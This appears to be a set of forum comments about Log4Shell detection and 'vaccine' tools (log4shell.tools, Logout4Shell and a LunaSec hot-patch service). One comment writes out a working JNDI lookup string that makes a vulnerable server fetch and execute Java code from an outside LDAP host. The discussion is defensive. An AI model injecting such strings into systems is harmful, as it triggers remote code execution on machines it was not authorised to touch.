log4shell-tools VS Logout4Shell

I'm seeing this as well. While the amount of traffic has certainly decreased compared to the first couple of days after the CVE was announced, https://log4shell.tools is still being used by people every day.

e.g. from log4j. Taken from https://log4shell.tools/

I run tests with https://log4shell.tools, and it seems I'm vulnerable on client side, but my server is safe, which makes sense as I compiled the .jar 2 weeks ago with BuildTools as indicated here https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/

You're right, but this has always been the trade off with tools like this. You put some trust in the tool's authors and gain some insight in return. Remember the services that tested for Heartbleed (e.g. https://filippo.io/Heartbleed/)? Fairly similar trade-off, but still these tools were widely used.

If you really don't trust me and have some technical know-how, you can self host the service. It's open source: https://github.com/alexbakker/log4shell-tools.

I can't say I'm feeling the same. Still lots of people testing over at https://log4shell.tools almost a week after this vulnerability became widely known. Plenty of people still discovering they're vulnerable as well. I think it's likely that these are just the people who know they're using log4j. If you're running a black box product from a vendor you'll have no clue you're vulnerable until it's too late.

I have a feeling this vulnerability is going to be with us for years. Shameless plug: I built a tool that assists in detecting whether you're vulnerable to this or the previous CVE: https://log4shell.tools. Just enter the JNDI URI it gives you anywhere you suspect it ends up causing a message lookup in log4j. If log4j does so much as a DNS lookup, this tool will tell you about it.

Done! https://github.com/alexbakker/log4shell-tools

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Hier gibt es eine Impfung gegen Log4Shell. Kein Witz: https://github.com/Cybereason/Logout4Shell

another option : https://github.com/Cybereason/Logout4Shell

Yup

This is actually a thing

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.

${jndi:ldap://hotpatch.log4shell.com:1389/a}

If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.

Source code is on GitHub here[0][1] if you want to host it yourself.

(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)

0: https://github.com/lunasec-io/lunasec/releases/

1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...

2: https://github.com/Cybereason/Logout4Shell

The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:

a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it

b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system

For those that are interested!